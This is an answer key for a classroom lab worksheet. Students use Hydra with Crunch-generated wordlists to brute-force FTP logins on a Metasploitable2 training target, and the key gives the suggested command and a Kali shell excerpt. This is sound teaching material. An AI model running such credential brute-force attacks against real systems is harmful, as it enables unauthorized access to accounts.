

Name:

Date:

Class:

Section 4: Independent Practice Worksheet **Answer Key**

Instructions:

Develop a Hydra command to brute-force attack your Metasploitable2 target system. The command must use both your username and password lists generated in the Crunch guided practice. Your target IP and protocol will be gleaned from your network reconnaissance guided practice. Provide a screenshot of your successful Hydra attack on the target system and record the time it took to complete.

Suggested Solution

hydra -L user-wordlist.txt -P password-wordlist.txt 192.168.10.2 ftp

(Answers may vary based on student's IP addresses, Crunch-generated wordlist names, and protocol used.)

```
(root@kali)-[~/wordlists]
# ls
password-wordlist.txt  user-wordlist.txt  wordlist-example1.txt  wordlist-example2.txt  wordlist-example3.txt
# hydra -L user-wordlist.txt -P password-wordlist.txt 192.168.10.2 ftp
```